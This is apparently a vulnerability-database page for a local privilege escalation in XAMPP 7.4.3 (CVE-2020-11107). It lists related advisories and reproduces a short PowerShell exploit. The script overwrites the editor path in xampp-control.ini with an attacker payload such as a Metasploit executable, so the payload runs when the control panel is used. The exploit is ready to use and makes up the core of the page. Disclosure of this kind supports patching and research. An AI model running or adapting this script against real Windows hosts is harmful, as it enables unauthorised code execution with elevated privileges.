Lucene search
K

XAMPP 7.4.3 Privilege Escalation

🗓️ 27 Sep 2021 00:00:00Reported by Salman AsadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 397 Views

XAMPP 7.4.3 Privilege Escalation Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
XAMPP 7.4.3 - Local Privilege Escalation Vulnerability
27 Sep 202100:00
zdt
GithubExploit
Exploit for Incorrect Permission Assignment for Critical Resource in Apachefriends Xampp
29 Jan 202615:40
githubexploit
CNVD
XAMPP Arbitrary Command Execution Vulnerability
3 Apr 202000:00
cnvd
CVE
CVE-2020-11107
2 Apr 202017:44
cve
Cvelist
CVE-2020-11107
2 Apr 202017:44
cvelist
Exploit DB
XAMPP 7.4.3 - Local Privilege Escalation
27 Sep 202100:00
exploitdb
NVD
CVE-2020-11107
2 Apr 202018:15
nvd
OpenVAS
XAMPP < 7.2.29, 7.3 < 7.3.16, 7.4 < 7.4.4 Configuration Vulnerability
6 Apr 202000:00
openvas
OSV
CVE-2020-11107
2 Apr 202018:15
osv
Prion
Command injection
2 Apr 202018:15
prion
Rows per page
`# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation  
# Exploit Author: Salman Asad (@deathflash1411, [email protected])  
# Original Author: Maximilian Barz (@S1lkys)  
# Date: 27/09/2021  
# Vendor Homepage: https://www.apachefriends.org  
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4  
# Tested on: Windows 10 + XAMPP 7.3.10  
# References: https://github.com/S1lkys/CVE-2020-11107  
  
$file = "C:\xampp\xampp-control.ini"  
$find = ((Get-Content $file)[2] -Split "=")[1]  
# Insert your payload path here  
$replace = "C:\temp\msf.exe"  
(Get-Content $file) -replace $find, $replace | Set-Content $file  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 26.8
CVSS 3.18.8
EPSS0.3891
397